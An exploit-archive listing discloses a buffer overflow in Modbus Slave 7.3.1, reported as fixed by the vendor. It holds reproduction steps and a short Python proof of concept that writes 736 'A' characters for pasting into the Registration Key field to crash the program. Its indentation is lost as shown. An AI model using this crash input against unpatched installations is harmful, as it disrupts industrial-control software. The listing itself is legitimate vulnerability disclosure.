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Modbus Slave 7.3.1 Buffer Overflow

Modbus Slave 7.3.1 Buffer Overflow
Posted Nov 22, 2021
Authored by Yehia Elghaly

Modbus Slave version 7.3.1 suffers from a buffer overflow vulnerability.

tags | exploit, overflow
SHA-256 | 39eb7cf402d22f485cd56cc220faeb4a38a297d3d16f3a8b49633e716d0a7ae6

Modbus Slave 7.3.1 Buffer Overflow

Change Mirror Download
Vendor has been notified and fixed
https://www.modbustools.com/ModSlaveChangeLog.txt

tested on: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64

# Steps to reproduce:
# 1. - Download and install Modbus Slave
# 2. - Run the python script and it will create modbus.txt file.
# 3. - Modbus Slave 7.3.1 < 7.4.2
# 4. - Connection -> Connect
# 5. - Paste the characters of txt file to Registration Key
# 6. - press "ok" button
# 7. - Crashed

#!/usr/bin/python

exploit = 'A' * 736

try:
file = open("Modbus.txt","w")
file.write(exploit)
file.close()

print("POC is created")
except:
print("POC not created")

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